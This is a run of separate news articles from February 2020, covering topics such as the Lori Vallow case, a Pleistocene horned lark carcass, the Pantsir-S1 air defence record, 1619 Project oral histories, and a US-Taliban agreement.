Lori turned into a 'monster' after she met Chad in 2018. Chad, 51, is a prolific author of 25 books focusing on doomsday scenarios and near-death experiences. He is what's known as a 'prepper' - someone who is getting ready for the End of Times - and was a member of a group called Preparing a People. Last month DailyMail.com exclusively revealed that Chad had been kicked out of the Church of Jesus Christ of Latter Day Saints back in the fall after he declared himself a prophet. Lori reportedly began reading Chad's writing while she was living in Hawaii with Charles, JJ and Tylee between 2014 and 2017. It's unclear how or when exactly Lori and Chad met, but family members say it was sometime around June 2018. The pair made their first appearance together in December 2018 on a podcast for Preparing a People, a group which, according to its website, organizes conferences and lectures for those who 'look forward to the rapidly coming changes to our current Telestial way of life, and rejoice in the hope of a far better world to soon come!' Lori and Charles' marriage crumbles amid her alleged cult ties Lori and Charles' marriage deteriorated rapidly as she became more and more involved with Preparing a People, and he filed for divorce and for custody of JJ in February 2019. In court documents, he claimed that Lori had become 'obsessed' with doomsday and believed she was a reincarnated god sent to Earth to help prepare for the second coming of Christ. 'Mother has told Father [Charles] that she is sealed [eternally married] to the ancient Book of Mormon prophet Moroni and that she has lived numerous lives on numerous planets prior to this current life,' the documents state. 'Mother also informed Father that she is a translated being who cannot taste death sent by God to lead the 144,000 into the Millennium. Charles Vallow (pictured) filed for divorce from Lori in February 2019 'Mother believes that she is receiving spiritual revelations and visions to help her gather and prepare those chosen to live in the New Jerusalem after the Great War as prophesied in the book of Revelations.' Charles also claimed in the petition that Lori had threatened to kill him. During a January 29 phone conversation, Lori allegedly told Charles that she was a 'God assigned to carry out the work of the 144,000 at Christ's second coming in July 2020 and that if Father [Charles] got in her way of her mission she would murder him', the documents state. Charles' sister Kay said she kept in close contact with him during the divorce proceedings, and that he would often call her in hysterics. She said she suspected Lori and Chad were having an affair at the time and expressed concern over the fact that Lori's three previous husbands had died. Earlier this month, Kay called Lori a 'black widow'. '[Husband] three and [husband] four are dead. Five? He's next. How he's gonna go? I don't know. But I wouldn't sleep with my eyes closed,' she said. No information is known about Lori's first two husbands. Her third husband and Tylee's father, Joseph Ryan, died of an apparent heart attack in April 2018. Amid the divorce proceedings Charles was granted an order of protection against Lori - who he claimed had drained $35,000 out of their bank account. When Charles tried to serve the order of protection to Lori, he couldn't find her. The family says she disappeared for nearly two months, leaving her children in relatives' care. Charles revoked his petition for divorce about a month after filing it and moved to Texas. Charles predicts Lori or her brother will kill him Attorneys who represented Charles in the divorce have spoken out, claiming that their client had predicted either Lori or her brother Alex would kill him. Lawyer Steven Ellsworth told FOX10 that Charles had told him: 'I'm afraid I'm gonna be killed, and I know who's gonna do it. 'I'm telling you, Steve, so that if something happens to me, I wanna make sure you let everyone know that something happens, I'm killed, that it's my wife Lori and her brother, Alex Cox.' Five months later, his prediction came true. Charles went to Lori's home in Chandler, Arizona, to pick up JJ on July 10. When he arrived, the pair got into an argument that turned physical, according to Lori's brother Alex Cox. Lori's brother Alex Cox died under mysterious circumstances on December 12 Cox, who was visiting for the night, told police that he tried to intervene when Charles hit him in the back of the head with a baseball bat. He told investigators that he shot Charles twice in the chest to 'stop him'. The Chandler Police Department recently released redacted body camera footage of Alex and Lori speaking to officers outside the home directly after the shooting. Lori calmly answered questions about her relationship with Charles, while Alex appeared much more frazzled as officers repeatedly had to ask him to repeat parts of the story. He explained how the incident began when he tried to break up a fight between Charles and Lori, saying: '[Charles] told me not to interfere with them anymore or I'd pay.' He claimed that his niece, Tylee, retrieved a baseball bat from her bedroom to protect her mother from Charles but that Charles grabbed it from her and started hitting him instead. As he ran to his room to retrieve his gun, Lori and the children fled out of the home. 'I told him to put the bat down and he wouldn't,' Alex recounted. 'I said, "I want you to put the bat tat down and he wouldn't. He came at me with the bat again so I shot him to stop him. That was it.' Two family members and Charles' attorneys have disputed that account. 'We knew immediately that was wrong,' Charles' sister Kay said at a press conference this month. 'It was a setup.' Charles' oldest son said he doesn't believe his father would have gotten violent with Lori or her brother. 'I knew my dad was the most passive person. He hated arguing with people. He'd never been in a fight, he was not an aggressive person in any way. I don't believe it at all,' the son said. Lawyer Taylor Lawson told the outlet: 'We knew that this wasn't an accident. This wasn't self-defense.' In a new study published today in the journal Communications Biology, an international team of researchers radiocarbon-dated an exceptionally well-preserved carcass of an ancient bird found in the Siberian permafrost and identified the species through reconstruction of its mitogenome. Permafrost deposits containing both animal and plant material represent a unique opportunity to reconstruct paleoenvironments. In recent years, permafrost sites in the Arctic have revealed a wealth of frozen animal carcasses from the last Ice Age, including mammoths, woolly rhinoceroses, horses, bisons, and wolverines. These remains are of great interest to paleontology since they enable a better understanding of the impact of climate change on species, populations, and communities. In 2018, the frozen near-complete carcass of a passerine bird was recovered in permafrost from a site 30 km (18.6 miles) east from the village of Belaya Gora in Yakutia. Dr. Nicolas Dussex, a scientist at Stockholm University, the Swedish Museum of Natural History and the Centre for Palaeogenetics, and his colleagues dated the specimen to 46,000 years old. The researchers then used 50 mg of the bird tissue for DNA extraction and genome sequencing. They reconstructed the birds mitogenome and extracted a partial COI gene, which is used for species identification. They searched for matches with this gene in GenBank avian genetic databases and found a 100% identity match with the horned lark (Eremophila alpestris), a species of lark in the Alaudidae family found across the northern hemisphere. Not only can we identify the bird as a horned lark, Dr. Dussex said. The genetic analysis also suggests that the bird belonged to a population that was a joint ancestor of two sub species of horned lark living today, one in Siberia, and one in the steppe in Mongolia. This helps us understand how the diversity of subspecies evolves. During the last Ice Age, the steppe spread out over northern Europe and Asia and was home to now extinct species such as the woolly mammoth and the woolly rhinoceros. According to one theory, this ecosystem was a mosaic of habitats like such as steppe, tundra and coniferous forest. At the end of the Ice Age, the steppe was divided into the biotopes we know today tundra in the north, taiga in the middle and steppe in the south. Our results support this theory since the diversification of the horned lark into these sub species seems to have happened about at the same time as the mammoth steppe disappeared, said Professor Love Dalen, also from Stockholm University, the Swedish Museum of Natural History and the Centre for Palaeogenetics. _____ N. Dussex et al. 2020. Biomolecular analyses reveal the age, sex and species identity of a near-intact Pleistocene bird carcass. Commun Biol 3, 84; doi: 10.1038/s42003-020-0806-7 The ruling BJD and opposition Congress on Friday accused the All India Institute of Medical Science (AIIMS), Bhubaneswar, of imposing the Hindi language on the people of Odisha. On the International Mother Language Day, the parties claimed that the effort of the AIIMS authorities is an insult of the Odia language. In an office order signed by AIIMS, Bhubaneswar Deputy Director P K Ray on Thursday asked officials in the administration, academic section, finance and accounts and the heads of departments to carry out their works in Hindi under the provisions of the Official Language Rules, 1976. "At end of every quarter starting from January details of the work done in section/department may be sent to Official Language Section in the attached proforma so that a consolidated report may be prepared and sent to the Ministry by the Administration in prescribed time," the order said. Odisha Pradesh Congress Committee president Niranjan Patnaik said, "It is an assault of the Odia language. We will not tolerate such imposition of Hindi on Odisha by the Centre." BJD Parliamentary Party leader Pinaki Mishra said, "We are the first state to be formed on linguistic basis and we will not allow anybody sidelining our mother tongue, particularly by any institution that is working for the people of our state.""We will insist on Odia being used since our people are familiar with it and that will make their task of availing service at AIIMS easier," Mishra said adding that he will formally lodge a protest with the Ministry of Health. The AIIMS, Bhubaneswar is one of the apex healthcare institutes set up by the Ministry of Health & Family Welfare, under the Pradhan Mantri Swasthya Suraksha Yojna (PMSSY). (This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.) Lina Gonzalez-Granados will be the first Colombian woman, and one of the first Latin Americans, to hold a conducting position with the Seattle Symphony. Lina Gonzales-Granados was born and raised in Cali, Colombia. Her parents encouraged her to learn the piano at a young age as a way to keep her home and safe during Colombia's protracted civil war. An extroverted child, Lina was never satisfied playing the piano. She began signing in a choir but found her element when she started conducting. Her conducting debut was with the Youth Orchestra of Bellas Artes in 2008 in her hometown of Cali. She moved from Cali to New York for an undergraduate exchange year in Julliard in 2010. She earned her Master's Degree in Conducting and a Graduate Diploma in Choral Conducting from New England Conservatory. She is also pursuing her Doctoral degree in Orchestral Conducting at Boston University. In 2014, she founded the Unitas Ensemble which is a Boston-based orchestra specializing in Latin American music. Her work with the Unitas Ensemble earned her a release of the Unitas Ensemble album "Estaciones". She also received multiple World, North-American and American premieres. In 2016, she earned her recognition as one of the "Latino 30 Under 30" by El Mundo Newspaper. Lina Gonzales-Granados is often praised for her "attention to orchestral colors" and her ability to create "lightning changes in tempo, meter, and effect." Last year, she joined a competition where she and 50 other young conductors vied for a position at Seattle Symphony. Six finalists were chosen to move forward and compete in a jury process similar to a conduction competition. She was chosen as a conducting fellow. President and CEO of Seattle Symphony Krishna Thiagarajan said Gonzalez-Granados' artistry on stage and her ideas on the importance of reaching all communities was ultimately what led them to offer her one of the positions. As a conducting fellow for the 2019-2020 season, she will spend several weeks with the orchestra. She will assist the conductor and also serve as the cover conductor who will take over if a concert conductor is unable to perform. Gonzalez-Granados will lead her own performances such as her [untitled] 2 concert on February 28 and participate in special projects. The [untitled] series is critically acclaimed. It explores new and contemporary works in an informal atmosphere. [Untitled] 2 will see the performance of works from four leading contemporary Latin American composers. Lina also holds a fellowship at Philadelphia Orchestra and completed the two-year Taki Concordia Fellowship for women conductors this season. "In Seattle, I have more community engagement projects," she said of her work with Seattle Symphony. Gonzalez-Granados holds a place among the 9.2% of all female US orchestral music directors. Lina aims to promote the classical music of Latin America. "Latin American composers are very strong," she said. "In the last 10 years, Colombia has grown a young orchestra movement with a system of great teachers and universities." She is set to take the helm for the "Wonder Woman" family concert on February 22 where music by Boulanger, Beach, and Price will be played. "Conducting gives me a connection I never felt in other activities," she said. "For me, it is a two-way conversation. I want to share always dynamic communication with the orchestra." Woman detained in Bengaluru for holding 'Kashmir Mukti, Dalit Mukti..' placard India oi-PTI Bengaluru, Feb 21: A day after pro-Pakistan slogans were raised by an agitator at an anti-CAA event, a young woman was 'detained' on Friday for holding a 'Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti' placard at a counter protest in the city, police said. Holding the placard with the slogans, she was spotted sitting among the participants of the protest organised by the Hindu Jagaran Vedike against the woman who had shouted "Pakistan Zindabad" on Thursday. City police chief Bhaskar Rao said she was escorted out of the place as the Vedike members asked her to leave and crowd started gathering. "She has been now been taken into custody for her own safety along with the placard... we will find out her background, where she has come from and who are behind her among other things," Rao told reporters, adding she did not raise any slogan. The 'Kashmir Mukti (liberation), Dalit Mukti, Muslim Mukti' slogans were written in both Kannada and English in the placard held by her. To a question if she would be arrested, the Commissioner said let the investigation be held. "It is too early as she has just been taken into custody," he added. Pro-Pakistan slogans: 'Woman charged with sedition had links with Naxals in the past' Last evening, Amulya Leona had raised 'Pakistan Zindabad' slogan thrice in the presence of All India Majlis-e-Ittehadul Muslimeen (AIMIM) chief Asaduddin Owaisi after the organisers of the event under the banner of 'Save Constitution' invited her to address the gathering, prompting him to denounce her act. After being removed from the stage, she was later arrested on charges of sedition and produced before a magistrate court which remanded her to 14 days judicial custody. An upset Owaisi had said he would not have participated in the protest against the Citizenship Amendment Act had he known that the woman had been invited for the event and asserted his party had no links with her. For Breaking News and Instant Updates Allow Notifications Story first published: Friday, February 21, 2020, 15:01 [IST] In a rare incidence of Russian damage control, Valery Slugin the lead designer of the Pantsir-S1 air defense system, recently gave a media interview to a Russian newspaper. Slugin explained how a Syrian Pantsir vehicle was destroyed by Israel forces in early 2019. The Israelis released a video of the incident. Slugin explained that it was the fault of the Syrian crew, which had fired all of their missiles and was waiting for the missile resupply vehicle. Meanwhile, the Israelis noted the missiles being fired, found the Pantsir and destroyed it with a missile. Slugin explained that if the Pantsir crew had moved the vehicle the Israelis might not have found and destroyed it. Slugin also stated that this Pantsir had just destroyed eight targets, presumably Israeli cruise missiles, while firing its twelve missiles. The Israelis reported that the target of their cruise missiles was destroyed and only two cruise missiles failed to hit the target. Nevertheless, the state-owned Russian firm that developed, manufactured and markets Pantsir to export customers felt it necessary to let the world know what they believe actually happened. Russian media also released video of Pantsir missiles exploding in the air so Israel revealed that the cause of this was that its Delilah cruise missiles carry a radar jammer that makes Pantsir to lose track of their target. When that happens Pantsir missiles self-destruct rather than hit the ground and risk friendly casualties. Russia implied that the missile was exploding near an unseen target. This was accurate, but not the way the Russians wanted it to be. Pantsir-S1 is a mobile, truck-mounted system. Each vehicle carries a radar, two 30mm cannon and twelve Tunguska missiles. The 90 kg (198 pound) missiles have a twenty kilometer range and the radar a 30-40 kilometer range. The missile can hit targets at up to 8,400 meters (26,000 feet). The 30mm cannon is effective up to 3,200 meters (10,000 feet). The vehicle can vary, but the most common one carrying all this weighs 20 tons and has a crew of three. Each Pantsir-S1 vehicle-mounted system costs about $15 million. Typically four to six Pantsir vehicles are organized as a battalion along with a command post and support vehicles. Larger numbers of Pantsir vehicles are organized into a regiment of two or three battalions and more support vehicles. These consist of electronic and mechanical repair vehicles as well as other vehicles carrying spare parts and e missile reloads and 30mm ammunition. There is also a system simulator that is carried in a truck or trailer. Another marketing effort was a late 2019 announcement that over 30 Pantsir-S1 (SA-22) anti-aircraft systems had been sent to Syria, and implied that this many Pantsir-S1 vehicles could defend all of Syria from air (warplanes, UAVs, cruise and ballistic missiles) attack. The problem with Pantsir is that only Russia and Syria claim the system is effective. The enemy (Israel and the United States) has another perspective that contradicts Russian and Syrian claims. Moreover, the Russian air defense systems used by Syria have, since 2011, brought down only one aircraft, an elderly Turkish RF-4E reconnaissance aircraft shot down by accident in 2012. The Turkish aircraft was flying off the coast and apparently not expecting to be attacked. Syria was then using Cold War era Russian equipment. When the Russians intervened in 2015 they brought more modern air defense systems with them, including the Pantsir. The problem is that the much hyped Pantsir has been a flop. No proof of any Pantsir kills has ever been presented and Israeli airstrikes consistently destroy their targets, even when Pantsir is present and firing lots of those Tunguska missiles. Then there was an earlier incident where Russia was caught suppressing bad news about the performance of Pantsir-S1 in Syria. In one case the comments were from a Russian source. This took place in late 2018 when Islamic terrorists used multiple small, explosives-armed UAVs to launch several attacks on the Russian controlled Hmeimim (or Khmeimim) airbase in Syria. Russia reported that these attacks failed because Russian air defense systems shot down over fifty of the small UAVs. Unofficial reports, via the Internet, indicated that the two short-range anti-aircraft systems guarding the base performed very differently. The older Tor-M2U system used its missiles successfully to shoot down the UAVs while the more recent Pantsir-S1 missiles all missed. Russian Internet censors were quick to take down some of the negative comments but the news was now out and spreading. Around this time Russia was also given lots of publicity to new, much improved, Pantsir models. Most of the upgrades were in the radar and fire control systems. These new Pantsir S1M, S2, S2E and SM models entered service in late 2018 and early 2019. Not all Pantsir vehicles have been upgraded and the overall impact of the upgrades does not appear to have been dramatic. The late 2018 incident was not the first time Pantsir-S1 has been described as a failure. The Hmeimim airbase incidents were important because they involved a Russian controlled airbase in a combat zone. Hmeimim was built by Russia in 2015 near the port city of Latakia, which is 85 kilometers north of the port of Tartus and 50 kilometers from the Turkish border. Russia brought in Pantsir-S1, Tor-M2U and S-400 air-defense systems to protect it from attack. The irony of this is that the Tor-M system is much older, with development begun in the 1970s while Pantsir-S1 development began twenty years later. The major difference between the two was that Tor-M was more successful and more expensive. The cost factor was one reason for developing the Pantsir-S1 but at first only export customers could afford it because the Russian military procurement budgets were sharply cut in the 1990s. In 2010, three years after the first foreign customer (Syria) received the Pantsir-S1, the Russian Air Force began getting some. The Russian economy was recovering sufficiently to expand defense spending. Initially, the Russian Air Force received the S1E version, with an improved radar (36 kilometer range) and missile (more reliable). Curiously, the air force used their first ten Pantsir-S1s to guard S-300 anti-aircraft missile bases around Moscow. There was no explanation from the Russians as to why they felt a mobile, low level anti-aircraft system was needed to guard a larger, high altitude one. Perhaps as additional protection against cruise missiles. These ten Pantsir vehicles for Moscow were supposed to arrive in 2008, but there were more technical problems. There's been a pattern of that with Pantsir-S1. Development began in the 1990s. Work was sporadic for nearly a decade because there was little cash available. Meanwhile, several Arab nations were persuaded to order a total of about 150 Pantsir-S1 vehicles and most of those have not yet been in combat. Russia does not want these customers to question Pantsir's reliability. After all the system has worked during test firings and is a very profitable export. Yet the main problem with Pantsir-S1 is that in combat it doesnt work. Failures have been reported at least three times since 2007, and all occurred in Syria. Two months after Syria received Pantsir-S1s in 2007, Israel bombed a Syrian nuclear weapons development facility. The Syrians were very dismayed at how ineffective the new Pantsir-S1 systems were during the Israeli strike. The 2007 failure was attributed to Israelis figuring out how to blind these systems electronically. In 2017 Pantsir S1 again failed during an Israeli attack and the excuse this time was that the Pantsir-S1s were not turned on. The 2018 failure was with operational Pantsir systems firing missiles at UAVs and missing while Tor-M2U systems detected UAVs and regularly shot them down with missiles. The video of Israeli weapons destroying a Pantsir vehicle was something the Russians felt they had to explain away, or at least try to. The Tor-M has been around since the 1980s and has no autocannon, just missiles. It has been frequently updated. A late 2015 upgrade for their 30 year old Tor-M (SA-15) enabled the launcher vehicle to fire its guided missiles while on the move. The latest version of Tor is the Tor-M2U which can hit aircraft up to 12 kilometers away and cruise missiles at a distance of five kilometers. The missile launcher vehicle has a crew of three (commander, driver and missile systems operator). The 176 kg (378 pound) missiles are three meters (ten feet) long, 235mm (9.25 inches) in diameter and carry a 15 kg (33 pound) warhead. Each battery has search radar and command center vehicles and controls four launcher vehicles (each carrying eight missiles, and another radar.) The original tracking radar on the missile vehicle could track one target at a time but the latest (Tor-M2) can track four at a time. Missiles can be launched from the vehicle at three second intervals. The original missile carrier/launcher vehicle was armored (against small arms and shell fragments), tracked and weighed 34 tons. Since then a cheaper towed (on a wheeled trailer) version has appeared followed by a version on a 6x6 truck that proved more maneuverable, comfortable and cheaper than the armored version. In 2018 a major upgrade was introduced; Tor-E2. With this model, the tracked vehicle was redesigned and upgraded to operate independently. The Tor-E2 carries sixteen missiles and its own search radar. The range of the missile has been increased to 15 kilometers. Russia was the original user but Tor-M has also been exported to fourteen other countries including Greece, Venezuela, China, Iran and Egypt. Russia prefers to sell export customers the Pantsir but knowledgeable customers keep ordering the more expensive Tor-M because they know it works. Were defined by the stories we tell about ourselves. Our country is also defined by the way we re-tell our history. As part of USA TODAYs 1619 Project, we collected family oral histories from readers. We heard more than a hundred accounts of ancestors escaping slavery, fighting for equality, and discovering how their race affected their American experience. Three stories of fighting for freedom from slavery formed the first installment of our 1619 Voices Project. We re-told the story of how Phillip Liverpool, 38, of Los Angeles, CA discovered a slave masters will granting his great-great-grandmother her freedom. Phillips ancestor, Frankie Liverpool, was born into slavery in Virginia. She was freed in 1803. Phillip Liverpool, 38, of Los Angeles, CA found a will that freed his ancestor from slavery. Now, Liverpool and his family formally celebrate the date the will was signed. Phillip and his wife Chirnese told us that finding a document from over 200 years ago that names one of Phillips ancestors brings them closer to their roots. Now, they celebrate Frankie Freedom Day every year on September 25, the date the will was signed. A void thats in my life is starting to be filled, Phillip Liverpool said. We kind of just assume that these stories were lost to time. More: Black History Month essay: I searched a continent a world away, hoping to find 'home' More: When schools integrated 50 years ago, these black students had to pick up and move More: 10 must-read Black History Month book recommendations: Zora Neale Hurston, Kiley Reid and more Other readers who shared oral histories told us about ancestors who risked their lives to run away from enslavement. Vernon Butler, 62, of Flushing, Michigan, told us how his great-great-grandmother helped her family escape slavery in 1863 by boarding Union Navy ships docked along the Mississippi River. Vernon Butler told us how his great-great-grandmother helped her family flee slavery in 1863 by boarding Union Navy ships in Mississippi. She's pictured here, on the top left. According to the story, Butlers great-great-grandmother, Ella Thompson, boarded the Union ship first, in order to see if the conditions would permit escape. She told her children to hide in the woods near the river and wait for her signal. Butler told us that his great-great-grandmother was welcomed by the men on board, and that she waived her handkerchief to call for her children to join her. Story continues Ella Thompson and her children disembarked in Cairo, Illinois, where the Butler family still has roots. Butler said the story of Ellas escape has been passed down in his family for generations. Butlers great-grandmother told his father the story. Then Butlers father passed it along to him. When I heard the story for the first time from my father, I was extremely proud, Butler said. I had goosebumps, and I was just amazed. Paul Alleyne, 73, of Los Angeles, California, has an ancestor who escaped slavery in Virginia by joining the British army during the War of 1812. Paul Alleyne, 73, of Los Angeles, CA shared the story of his ancestor who escaped slavery in Virginia by joining the British military during the War of 1812. According to the story, Alleynes ancestor, Ezekiel Loney, was 27 years old when he started fighting for the British. Later, Loney settled in Trinidad, which was a British colony. Like Vernon Butlers story, Alleynes story was passed down over many years. Alleyne told us he first heard the story from his grandmother, who was told the story by Ezekiel Loney, who was also her grandfather. A road marker from the Virginia Department of Historic Resources describes how some slaves fled slavery in Virginia during the War of 1812. Paul Alleyne chooses to re-tell the story of Ezekiel Loney to embrace this aspect of his heritage. The War of 1812 gave him the opportunity to free himself and he took it without hesitation, Alleyne said. I admire Ezekiels effort, and I am proud to be his descendant. I feel his spirit, his determination, even his stubbornness. To listen to the full audio story featuring these oral histories, click here. Find more stories from USA TODAYs 1619 project at 1619.usatoday.com, and more black history content at blackhistory.usatoday.com. This article originally appeared on USA TODAY: Oral stories of escapes from slavery re-tell black history Source: Xinhua| 2020-02-22 07:22:52|Editor: huaxia Video Player Close A medical worker talks with people under quarantine via an intercom at a medical observation area in Fengtai District of Beijing, capital of China, Feb. 21, 2020. The medical observation area was converted from a hotel for people under quarantine. About 90 people have been quarantined here with daily necessities and proper medical care. (Photo by Chen Zhonghao/Xinhua) The chairman and the executive director of a real estate unit owned by China's largest privately owned financial services group are being detained by Shanghai police on embezzlement charges. Peng Xinkuang, the chairman and former chief executive of SRE Group Limited, has been approved for arrest under the embezzlement charge, according to a filing to the Hong Kong stock exchange, where the real estate developer's shares are listed. Executive director Chen Donghui has separately been detained by Shanghai police under the same charge, according to the statement, citing SRE's acting chief executive Zhu Qiang. "The company has attempted to contact Peng and Chen but has been unsuccessful," said Zhu, who was appointed the acting chief executive after the company failed to contact Peng. "Peng and Chen are currently unable to perform their duties as directors of the company and the company is not yet able to obtain any further information to ascertain the nature and status of the arrest and the detention." Shares of SRE Group fell as much as 2.1 per cent to 4.7 Hong Kong cents today. The stock, listed in Hong Kong in 1999 at 79.8 Hong Kong cents, had fallen by 28.8 per cent this year. A view of China Minsheng Investment Group Building. Photo: Sina alt=A view of China Minsheng Investment Group Building. Photo: Sina The Shanghai developer is 75.06 owned by China Minsheng Investment Group (CMIG), the country's largest private-sector investment fund founded in 2014 by 59 entrepreneurs including the retailer Suning Appliance Group and business-park operator Yida Group. Minsheng first bought 72.45 per cent of SRE Group in 2016 during a HK$1.49 billion bailout, after the developer accumulated HK$19.17 billion (US$2.46 billion) in debt, with 119 million yuan (US$16.93 million) in 2015 operating loss. That stake was later increased to 75.06 per cent, according to stock exchange data. SRE Group has since turned into Minsheng's property arm, investing in such global projects as the 75 Howard, a harbourfront apartment complex in San Francisco, bought for US$88 million in 2017 and completed last week. In mainland China, SRE Group has residential and commercial real estate projects in Shanghai, Shenyang, Haikou, Wuxi, Jiaxing. Story continues SRE Group's "business and operations remain [normal] and the arrest of the chairman and detention of the director would not have material adverse impact on the operations or financial position of the group," the company said in its filing. Purchase the China AI Report 2020 brought to you by SCMP Research and enjoy a 20% discount (original price US$400). This 60-page all new intelligence report gives you first-hand insights and analysis into the latest industry developments and intelligence about China AI. Get exclusive access to our webinars for continuous learning, and interact with China AI executives in live Q&A. Offer valid until 31 March 2020. This article originally appeared in the South China Morning Post (SCMP), the most authoritative voice reporting on China and Asia for more than a century. For more SCMP stories, please explore the SCMP app or visit the SCMP's Facebook and Twitter pages. Copyright 2020 South China Morning Post Publishers Ltd. All rights reserved. Copyright (c) 2020. South China Morning Post Publishers Ltd. All rights reserved. Military and defense cooperation between Morocco and Pakistan was reviewed at the meetings Chief of Pakistani Army Staff Gen. Qamar Javed Bajwa held Thursday in Rabat with Moroccan officials. The Pakistani Generals talks with Abdeltif Loudyi, Minister Delegate for National Defense Administration, covered the bilateral relations of friendship and cooperation, marked by confidence, mutual respect and the common will to consolidate these ties in the future, said the National Defense Administration in a press release. The two officials reviewed the state of bilateral cooperation in the field of defense and examined ways and means of boosting this cooperation, the press release said. They convened that there are areas of common interest, which could open up prospects for further cooperation, mainly in expertise sharing between the two countries armed forces. The Pakistani senior military official, who is on a working visit to Morocco Feb. 19 to 23, at the head of a military delegation, also conferred with the General of the Army Corps, Inspector General of the FAR, Gen. Abdelfattah Louarak. Talks focused on the current state of military cooperation between the armed forces of the two countries. The Pakistani delegation is also scheduled to visit the Royal College of Higher Military Education in Kenitra. Military cooperation between the two countries is marked by frequent exchanges of visits by senior officials, visits by graduates of training institutes and stopovers by Pakistani ships in Moroccan ports. U.S. Secretary of State Mike Pompeo says the United States and the Taliban will sign an agreement at the end of the month, after an official week-long period of violence reduction in Afghanistan begins at midnight Friday (February 21). A spokesman for the Taliban said both sides would also make arrangements for the release of prisoners. In a statement, Pompeo also said that the United States and the Taliban have held talks to arrange a political settlement in Afghanistan -- with an aim to reduce the American presence in the region. He said, the agreement will be signed upon the successful implementation of an understanding with the Taliban on a significant and nationwide reduction in violence. It could represent a chance for peace in the country after years of war and nearly two decades of American troop presence. Officials have said that an agreement would be followed by talks on a settlement between the Taliban and Afghan officials. The Taliban have previously refused to speak directly to the government in Kabul. NEW YORK, NYThe Hadassah Foundation, a nonprofit organization that awards grants to social change programs that empower women and girls in Israel and the United States, is pleased to announce $330,000 in new grants. The recipients are six organizations in Israel that increase opportunities for women and girls of all backgrounds to obtain and advance in decision-making positions. Co-Chair of The Hadassah Foundation Israel Grants Committee Diane Sigel exclaims: The expertise and ingenuity reflected in this years Israel grant recipients is remarkable. They are combatting complex, systemic issues. Because of organizations like these and the programs The Hadassah Foundation is funding, there is significant promise that there will be greater gender equality in Israels future. The two-year grants range from $40,000 to $70,000. The supported initiatives enable women and girls to: advance in positions of leadership, break glass ceilings, increase their political involvement, and eliminate religious barriers that create unequal playing fields. This year, the grantee organizations include a few shared-society models that reach diverse groups of women, says Tracey Spiegelman, co-chair of The Hadassah Foundation Israel Grants Committee. The fact that some of these organizations represent and work with both Jewish and Arab women is not only a component of their work, it is what the organization leaders and The Hadassah Foundation Board know will create impact and societal change for all citizens of Israel. The 2020 Israel Grant recipients: AJEEC-NISPED is a team of Jews and Arabs working together to promote socio-economic development and peace-building among communities in transition. Funds support the Taliyah Gap Year Program for young Arab women in the Negev Bedouin community. The Taliyah Program provides participants with the skills and support to break glass ceilings as some of the first women in their community to hold advanced degrees and professional careers outside their homes. Association of Rape Crisis Centers in Israel is the national umbrella organization for Israels network of rape crisis centers that advocates on behalf of policies and practices that promote womens safety. Funds underwrite the pilot initiative to combat sexual harassment in academia, which often prevents women from advancing tin the field. ARCCI will conduct research and implement university-wide policies to prevent and regulate instances of sexual harassment in academic settings. Jasmine promotes the growth and professional development of Israels Jewish and Arab women business owners and leaders. Funds support the Izun (Balance) Project that helps women business owners obtain positions as board members in public companies and government agencies, an important step in bringing women business leaders to the decision-making tables. The Izun Program was piloted in 2016 with The Hadassah Foundations support. Nivcharot is the first and only organization in Israel focusing on Haredi women and their integration into public, social, and political life. Funds help Nivcharot raise awareness of the unique needs of Haredi women and girls and support the HaNivcheret (The League) Program, which provides a group of select Haredi women with the tools, knowledge, and self-perception necessary to lead in Israeli secular society, business, and government. The Ruth and Emanuel Rackman Center, operating at Bar-Ilan University, provides legal representation, related academic expertise, and reform recommendations to increase gender equality in Israels laws and policies. Funds support initiatives to increase womens rights in Israels family court system that significantly limits womens access to justice and negatively impact their children. WePower advances womens leadership to the highest levels of decision-making and elected positions. Funding supports The Incubator for Council Members and Women Mayors, offering women in their first term of office with training, support, and a network of women in government throughout Israel. The goal of the incubator is to increase the number of women who continue in their government positions for a second term. These organizations join the 2019 Israel grant recipients that will continue to receive funding throughout 2020: The Adva Center, Center for Womens Justice, Israel Womens Network, Itach Maaki: Women Lawyers for Social Justice, and SHIN: The Israeli Movement for Equal Representation of Women. The Hadassah Foundation invests in social change programs that promote the advancement of women and girls in Israel and the United States. As one of the largest Jewish womens funds in the United States, the Hadassah Foundation has awarded over $9 million in grants to nearly 115 non-profit organizations. Past grants are listed on the organizations website: www.hadassahfoundation.org. The Hadassah Foundation is currently requesting grant proposals from US-based organizations. To learn more, read the 2020 Request for Grant Proposals for US-Based Organizations. The deadline for submitting a grant proposal is Feb. 27, 2020. ROADRUNNERS YOU SHOULD KNOW FEBRUARY 21, 2020 UTSA senior JayLen Boone is a big believer in conversation. From his internship at CivTechSA to his nonprofit work with Sustainable Youth in Action, he says the most valuable experience hes gained has come from simply listening to his fellow students. Thats why he tries to strike up a chat every time he gets the chance. They always ask me, JayLen, why are you talking to us? And I always say, Because youre an expert in something I dont know, explained Boone, who is an Honors College student, a double major in global affairs and sociology, and a 2019 Truman Scholarship finalist. His willingness to converse goes well beyond a thirst for knowledge. Its an approach that emphasizes compassion, community and cross-collaborationthree Cs that are at the root of just about everything Boone has accomplished as a student at UTSA. The Ypsilanti, Michigan, native has rubbed elbows with local and national leaders while embracing activist causes and working with his peers to tackle grand challenges. We want to get [students] engaged with the city and solve social issues through education, advocacy and innovation. JAYLEN BOONE, Honors College Senior Boones interest in public service began in his high school years. He was compelled to launch the U-N-I campaign against violence in Cypress, Texas, and his interest in activism only grew from there. He would go on to found his own nonprofit, Sustainable Youth in Action, as a sophomore at UTSA. SYAs mission is to empower young people to craft solutions for global sustainability issues as well as social issues in their communities. The nonprofit aims to equip students with the necessary tools and connections to take their entrepreneurial and socially conscious ideas to the next level. We want people to get out of the bubble here at UTSA and get to know Greater San Antonio, Boone says of SYA and its membership. We want to get them engaged with the city and solve social issues through education, advocacy and innovation. Through an internship at CivTechSA that was part of the Honors Colleges Citymester program, Boone was able to connect SYA to innovators such as Tech Bloc chief talent officer Dax Moreno. Over the past year Boone has gone from addressing issues at UTSA and in San Antonio to tackling the some of the worlds most significant problems. Because SYAs aspirations largely aligned with the United Nations 2030 Sustainable Development goals, Boone was selected by the United Nations Association of the United State of America as Youth Observer to the United Nations for the 20192020 school year. He was chosen from a competitive pool of more than 200 students. Boone has engaged directly with many global issues pertinent to the UNs goals, studying in South Africa as a Global Poverty Project Curtis Scholar, interning in Hong Kong as a Cultural Vistas fellow and working with communities on the ground in Saudi Arabia and Japan. Explore the Sustainable Youth in Action organization on Instagram and LinkedIn. Learn more about the Honors College at 